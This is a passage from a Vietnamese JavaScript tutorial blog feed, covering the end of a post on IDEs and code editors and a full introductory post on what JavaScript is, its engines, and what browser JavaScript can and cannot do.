href="https://vi.wikipedia.org/wiki/%C4%90a_n%E1%BB%81n_t%E1%BA%A3ng">đa nền tảng</a> (cross-platform), có thể dùng trên hệ điều hành Windows, macOS hay Linux. Nhưng Visual Studio Code thì hoàn toàn miễn phí, còn WebStorm thì mất phí (cho phép dùng thử 30 ngày).</p> <p>Bạn có thể trải nghiệm cả hai IDE trên xem cái nào tốt hơn và phù hợp hơn với mình để quyết định sử dụng lâu dài.</p> <p>Ngoài IDE thì còn có khái niệm khác là "code editor".</p> <h2 id="code-editor-là-gì" style="position:relative;"><a href="#code-editor-l%C3%A0-g%C3%AC" aria-label="code editor là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Code editor là gì?</h2> <p>Code editor cũng là một loại phần mềm máy tính hỗ trợ lập trình viên trong phát triển phần mềm. Nhưng so với IDE thì code editor đơn giản, nhẹ và nhanh hơn.</p> <p>Nguyên nhân chính là do code editor thường chỉ làm việc với một tệp tin (file). Trong khi đó, IDE lại làm việc trên toàn bộ thư mục project - bao gồm nhiều file khác nhau.</p> <p>Tuy nhiên, đó chỉ là lý thuyết. Trên thực tế, các code editor hiện đại có rất nhiều <a href="https://vi.wikipedia.org/wiki/Plugin_(%C4%91i%E1%BB%87n_to%C3%A1n)">plugin</a> hỗ trợ không khác gì IDE. Đặc biệt, JavaScript là ngôn ngữ thông dịch, nên cũng không đòi hỏi yêu cầu quá cao về IDE.</p> <p>Sau đây là một số code editor nổi tiếng hỗ trợ lập trình JavaScript:</p> <ul> <li><a href="https://code.visualstudio.com/">Visual Studio Code</a> (đa nền tảng, miễn phí).</li> <li><a href="https://atom.io/">Atom</a> (đa nền tảng, miễn phí).</li> <li><a href="http://www.sublimetext.com/">Sublime Text</a> (đa nền tảng, có phiên bản miễn phí, nhưng bị giới hạn một số tính năng).</li> <li><a href="http://www.sublimetext.com/">Notepad++</a> (Windows, miễn phí).</li> <li><a href="http://www.vim.org/">Vim</a>, <a href="https://www.gnu.org/software/emacs/">Emacs</a> (Linux, miễn phí).</li> <li>Và nhiều code editor khác nữa...</li> </ul> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Vậy IDE là gì?</p> <ul> <li>IDE (Integrated Development Environment - môi trường phát triển tích hợp) là phần mềm máy tính cung cấp các công cụ cần thiết cho lập trình viên trong quá trình phát triển phần mềm, giúp nâng cao năng suất lập trình.</li> <li>IDE thường có các thành phần: trình soạn thảo code, trình biên dịch/thông dịch, trình gỡ lỗi, công cụ quản lý mã nguồn, gợi ý code, hỗ trợ tìm kiếm,...</li> <li>Một số IDE/code editor phổ biến: Visual Studio Code, WebStorm, Atom, Sublime Text, Notepad++, Vim, Emacs,...</li> </ul>[email protected]<![CDATA[JavaScript là gì?]]><![CDATA[JavaScript là một trong những ngôn ngữ lập trình phổ biến nhất hiện nay. Sau đây, mình sẽ cùng tìm hiểu xem cụ thể JavaScript là gì. JavaScript có thể và không thể làm được gì nhé…]]>https://completejavascript.com/javascript-la-gi/https://completejavascript.com/javascript-la-gi/Fri, 21 Apr 2017 20:00:00 GMT<p>JavaScript là một trong những ngôn ngữ lập trình phổ biến nhất hiện nay. Sau đây, mình sẽ cùng tìm hiểu xem cụ thể JavaScript là gì. JavaScript có thể và không thể làm được gì nhé!</p> <h2 id="javascript-là-gì" style="position:relative;"><a href="#javascript-l%C3%A0-g%C3%AC" aria-label="javascript là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript là gì?</h2> <p>JavaScript là ngôn ngữ lập trình website phổ biến nhất hiện nay. Đây là <a href="https://vi.wikipedia.org/wiki/Ng%C3%B4n_ng%E1%BB%AF_th%C3%B4ng_d%E1%BB%8Bch">ngôn ngữ thông dịch</a>, được tích hợp vào HTML giúp trang web trở nên sống động hơn.</p> <p>Vì JavaScript là ngôn ngữ thông dịch nên bạn không cần chuẩn bị công cụ nào để <a href="https://vi.wikipedia.org/wiki/Tr%C3%ACnh_bi%C3%AAn_d%E1%BB%8Bch">biên dịch</a> chương trình trước khi chạy. Đây là đặc điểm khác biệt so với ngôn ngữ lập trình <a href="https://vi.wikipedia.org/wiki/Java_(ng%C3%B4n_ng%E1%BB%AF_l%E1%BA%ADp_tr%C3%ACnh)">Java</a> mà nhiều bạn hay nhầm.</p> <p><strong>Tại sao có tên <u>Java</u>Script?</strong></p> <p>JavaScript được phát triển bởi <a href="https://vi.wikipedia.org/wiki/Brendan_Eich">Brendan Eich</a> (tại Hãng truyền thông Netscape) với cái tên đầu tiên là "Mocha", sau đó đổi tên thành "LiveScript", và cuối cùng thành "JavaScript".</p> <p>Có lẽ việc đổi tên như vậy để giúp JavaScript được chú ý nhiều hơn. Bởi tại thời điểm đó, Java đang được coi là một hiện tượng và trở nên phổ biến.</p> <p>Giờ đây, JavaScript là một ngôn ngữ hoàn toàn độc lập và được chuẩn hóa bởi tài liệu <a href="https://vi.wikipedia.org/wiki/ECMAScript">ECMAScript</a> (gọi tắt là ES). Đôi khi bạn thấy một số tài liệu nói về ES6, ES7, ES Next,... thì chúng đều là JavaScript.</p> <p>Ngoài ra, bạn cũng sẽ thấy những cái tên khác như <a href="https://vanilla.js.org/">Vanilla JS</a> hay JS. Thực chất, đó cũng là JavaScript - nhưng nhấn mạnh về JavaScript nguyên thủy, không sử dụng thư viện hay framework nào cả.</p> <h2 id="ứng-dụng-của-javascript" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-c%E1%BB%A7a-javascript" aria-label="ứng dụng của javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng của JavaScript</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 52.72727272727272%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAgAD/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQL/2gAMAwEAAhADEAAAAQoRecpP/8QAGhABAAIDAQAAAAAAAAAAAAAAAQARAhASMf/aAAgBAQABBQIajelnSuXv/8QAFREBAQAAAAAAAAAAAAAAAAAAABL/2gAIAQMBAT8BS//EABURAQEAAAAAAAAAAAAAAAAAAAAS/9oACAECAQE/AVP/xAAXEAEAAwAAAAAAAAAAAAAAAAAQABEh/9oACAEBAAY/ApTp/8QAHBAAAgICAwAAAAAAAAAAAAAAAAERkUFhITGB/9oACAEBAAE/IVSecEj6UOJNCokeD8NCo//aAAwDAQACAAMAAAAQDw//xAAXEQADAQAAAAAAAAAAAAAAAAAAASER/9oACAEDAQE/EHVhZ//EABcRAQADAAAAAAAAAAAAAAAAAAEQESH/2gAIAQIBAT8QFvIf/8QAHRABAQACAgMBAAAAAAAAAAAAAREAIUFRMWFxof/aAAgBAQABPxAClgAlFwTB6uoZy/uLwOuMQsGevXzC2Q7PXzHfA1wDP//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="JavaScript Everywhere" title="JavaScript Everywhere" src="/static/f5d634736084ebad2d4bef673349a787/5ab81/javascript-everywhere.jpg" srcset="/static/f5d634736084ebad2d4bef673349a787/e4e7a/javascript-everywhere.jpg 165w, /static/f5d634736084ebad2d4bef673349a787/4f5c6/javascript-everywhere.jpg 330w, /static/f5d634736084ebad2d4bef673349a787/5ab81/javascript-everywhere.jpg 660w, /static/f5d634736084ebad2d4bef673349a787/a6335/javascript-everywhere.jpg 760w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Ban đầu, JavaScript được sinh ra để sử dụng trên web phía người dùng (frontend). Nhưng giờ đây, bạn có thể thấy JavaScript được sử dụng ở hầu hết mọi nơi:</p> <ul> <li>Frontend: JavaScript cùng với <a href="https://vi.wikipedia.org/wiki/HTML">HTML</a> và <a href="https://vi.wikipedia.org/wiki/CSS">CSS</a> trở thành ba thứ không thể thiếu khi lập trình website. Ngoài ra, có rất nhiều thư viện / framework JavaScript được tạo ra giúp việc lập trình trở nên đơn giản hơn như: <a href="https://vi.reactjs.org/">React</a>, Angular, Vue,...</li> <li>Backend: với sự ra đời của <a href="https://vi.wikipedia.org/wiki/Node.js">Node.js</a>, bạn đã có thể sử dụng JavaScript phía server.</li> <li>Ứng dụng máy tính: bạn có thể sử dụng framework Electron để tạo nên ứng dụng đa nền tảng cho máy tính. Một số ứng dụng nổi tiếng có thể kể đến là: Atom, Visual Studio Code, GitKraken, Wordpress.com,...</li> <li>Ứng dụng điện thoại: React-Native, NativeScript,... giúp xây dựng ứng dụng điện thoại trên Android và iOS.</li> <li>Ngoài ra, một số database sử dụng JavaScript là kịch bản và <a href="https://vi.wikipedia.org/wiki/Ng%C3%B4n_ng%E1%BB%AF_truy_v%E1%BA%A5n">ngôn ngữ truy vấn</a> như: MongoDB, CouchDB,...</li> </ul> <p>Để JavaScript có thể chạy được ở một nơi, thì nơi đó phải có một thứ gọi là: <strong>JavaScript engine</strong>.</p> <h2 id="javascript-engine-là-gì" style="position:relative;"><a href="#javascript-engine-l%C3%A0-g%C3%AC" aria-label="javascript engine là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript engine là gì?</h2> <p>JavaScript engine là một chương trình máy tính thực thi các đoạn code JavaScript.</p> <p>Có một vài JavaScript engine khác nhau như:</p> <ul> <li><a href="https://vi.wikipedia.org/wiki/Chrome_V8">V8</a>: trên trình duyệt Chrome, Opera, Edge.</li> <li>SpiderMoney: trên trình duyệt Firefox.</li> <li>Chakra: trên trình duyệt IE</li> <li>JavaScriptCore, Nitro and SquirrelFish: trên trình duyệt Safari</li> <li>Và còn nhiều loại khác nữa...</li> </ul> <p>Để chạy được JavaScript ở các môi trường khác trình duyệt, ta chỉ cần tích hợp một trong các engine này vào môi trường.</p> <p>Ví dụ: Node.js sử dụng V8 engine để chạy được JavaScript phía server.</p> <p><strong>Vậy, JavaScript engine hoạt động như thế nào?</strong></p> <p>JavaScript engine thực sự rất phức tạp, nhưng cách hoạt động của engine lại vô cùng đơn giản.</p> <ol> <li>Engine đọc kịch bản từ JavaScript.</li> <li>Sau đó, engine dịch kịch bản sang mã máy.</li> <li>Cuối cùng, mã máy thực thi.</li> </ol> <p>Trong mỗi bước, JavaScript engine đều phải tối ưu code làm sao để chương trình chạy tốt nhất.</p> <p>Đó là cách JavaScript hoạt động. Nhưng cụ thể thì JavaScript có thể làm được những gì? Sau đây, mình sẽ tập trung vào JavaScript trên trình duyệt - mục đích đầu tiên mà JavaScript được sinh ra.</p> <h2 id="javascript-làm-được-gì-trên-trình-duyệt" style="position:relative;"><a href="#javascript-l%C3%A0m-%C4%91%C6%B0%E1%BB%A3c-g%C3%AC-tr%C3%AAn-tr%C3%ACnh-duy%E1%BB%87t" aria-label="javascript làm được gì trên trình duyệt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript làm được gì trên trình duyệt?</h2> <p>Mục đích JavaScript được sinh ra là dành cho trình duyệt. Vì vậy, những thứ JavaScript có thể làm trên trình duyệt liên quan đến việc thay đổi nội dung trang web, tương tác với người dùng và web server.</p> <p>Cụ thể những thứ JavaScript có thể làm trên trình duyệt:</p> <ul> <li>Tạo thêm HTML cho trang web, thay đổi những phần tử có sẵn, điều chỉnh style (màu sắc, kích thước, hiệu ứng di chuyển,...).</li> <li>Tương tác với người dùng qua việc nhấn chuột, di chuyển chuột, gõ bàn phím,...</li> <li>Tương tác với web server qua việc gọi <a href="https://vi.wikipedia.org/wiki/Web_API">web API</a> để tải xuống dữ liệu, tải lên dữ liệu,...</li> <li>Hiển thị thông báo cho người dùng.</li> <li>Lưu dữ liệu phía người dùng để sử dụng lại khi người dùng tải lại trang.</li> </ul> <p>Đây là những thứ JavaScript làm được trên trình duyệt. Tiếp theo là những thứ JavaScript không thể làm được trên trình duyệt.</p> <h2 id="javascript-không-làm-được-gì-trên-trình-duyệt" style="position:relative;"><a href="#javascript-kh%C3%B4ng-l%C3%A0m-%C4%91%C6%B0%E1%BB%A3c-g%C3%AC-tr%C3%AAn-tr%C3%ACnh-duy%E1%BB%87t" aria-label="javascript không làm được gì trên trình duyệt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript không làm được gì trên trình duyệt?</h2> <p>Khi bạn vào một trang web, bạn sẽ phải tải về trình duyệt nội dung của trang web bao gồm HTML, CSS và JavaScript...</p> <p>Tưởng tượng nếu JavaScript trên trình duyệt có toàn quyền khai thác thông tin (đọc / ghi) trên máy người dùng, thì chắc chắn sẽ có nhiều trang web độc hại sinh ra để đánh cắp thông tin cá nhân một cách dễ dàng.</p> <p>Do đó, JavaScript sẽ không làm được những thứ sau trên trình duyệt:</p> <ul> <li>Đọc, ghi, sao chép, thực thi một chương trình trên máy người dùng. Để đọc một tệp tin, bạn phải tải nó lên trang web thông qua thẻ <strong>input</strong> (chứ không đọc trực tiếp từ tệp tin).</li> <li>Mặc định, trang web sẽ không có quyền truy cập trực tiếp vào Camera/Microphone. Để sử dụng chúng, bạn cần phải viết code JavaScript để gọi hàm yêu cầu cấp quyền từ người dùng.</li> <li>Các trang web ở các tab khác nhau trên trình duyệt không biết nhau. Ví dụ, bạn đang mở hai trang web ở hai tab khác nhau trên trình duyệt. Khi đó, code JavaScript từ một trang không thể truy cập và lấy thông tin từ trang còn lại.</li> <li>JavaScript có thể dễ dàng giao tiếp với server thông qua gọi API nếu như trang web và server cùng tên miền. Trường hợp khác tên miền thì bạn sẽ bị lỗi <a href="https://codeaholicguy.com/2018/05/07/cors-la-gi/">CORS</a> nếu như server không cho phép truy cập.</li> </ul> <h2 id="vậy-học-javascript-có-khó-không" style="position:relative;"><a href="#v%E1%BA%ADy-h%E1%BB%8Dc-javascript-c%C3%B3-kh%C3%B3-kh%C3%B4ng" aria-label="vậy học javascript có khó không permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vậy học JavaScript có khó không?</h2> <p>Câu trả lời sẽ tùy thuộc vào con người.</p> <p>Vì JavaScript là ngôn ngữ thông dịch, không phải biên dịch. Nên nhiều khi bạn sẽ gặp tình huống viết code xong nhưng không biết mình viết đúng hay sai, và phải chạy thử mới biết.</p> <p>Trong khi với những ngôn ngữ lập trình kiểu biên dịch khác thì chỉ cần bạn gõ sai cú pháp thôi là trình soạn thảo đã thông báo, và chỉ bạn chỗ sai để sửa.</p> <p>Vì vậy, gần đây đã có rất nhiều ngôn ngữ lập trình mới, có thể biên dịch sang JavaScript như:</p> <ul> <li><a href="https://coffeescript.org/">CoffeeScript</a>: cú pháp ngắn gọn hơn và cho phép viết code rõ ràng hơn.</li> <li><a href="https://vi.wikipedia.org/wiki/TypeScript">TypeScript</a> của Microsoft: tập trung vào việc đảm bảo kiểu dữ liệu chặt chẽ hơn, dễ dàng bảo trì code hơn với những dự án lớn.</li> <li><a href="https://vi.wikipedia.org/wiki/Dart_(ng%C3%B4n_ng%E1%BB%AF_l%E1%BA%ADp_tr%C3%ACnh)">Dart</a> của Google: ngôn ngữ không thể thiếu khi dùng Flutter để tạo ra ứng dụng điện thoại, nhưng nó cũng có thể dịch ra JavaScript.</li> <li><a href="https://vi.wikipedia.org/wiki/Kotlin_(ng%C3%B4n_ng%E1%BB%AF_l%E1%BA%ADp_tr%C3%ACnh)">Kotlin</a>: ngôn ngữ hiện đại, an toàn - là ngôn ngữ hàng đầu thay thế cho Java để lập trình ứng dụng Android. Nhưng Kotlin cũng có thể hướng tới lập trình cho web.</li> </ul> <p>Còn rất nhiều ngôn ngữ lập trình khác nữa. Mỗi ngôn ngữ lập trình có những đặc điểm riêng. Nhưng dù thế nào thì JavaScript vẫn có vai trò quan trọng trong lập trình web. Và bạn cũng nên hiểu rõ về JavaScript.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Vậy JavaScript là gì?</p> <ul> <li>JavaScript là ngôn ngữ lập trình website phổ biến. Mục đích ban đầu của JavaScript là dành cho trình duyệt. Nhưng sau đó, JavaScript có thể được dùng ở nhiều môi trường khác nhau (chỉ cần có JavaScript engine).</li> <li>JavaScript có thể làm được nhiều thứ trên trình duyệt như: tạo, thay đổi nội dung trang web; tương tác với người dùng qua chuột, bàn phím; tương tác với web server thông qua gọi API.</li> <li>JavaScript cũng bị hạn chế một số thứ trên trình duyệt liên quan đến máy người dùng như: đọc, ghi, thực thi tệp tin; thao tác trực tiếp với Camera/Microphone.</li> <li>Có nhiều ngôn ngữ có thể dịch ra JavaScript. Nhưng JavaScript vẫn có vai trò quan trọng trong lập trình web. Bạn nên hiểu rõ về JavaScript trước khi học các ngôn ngữ khác.</li> </ul>[email protected]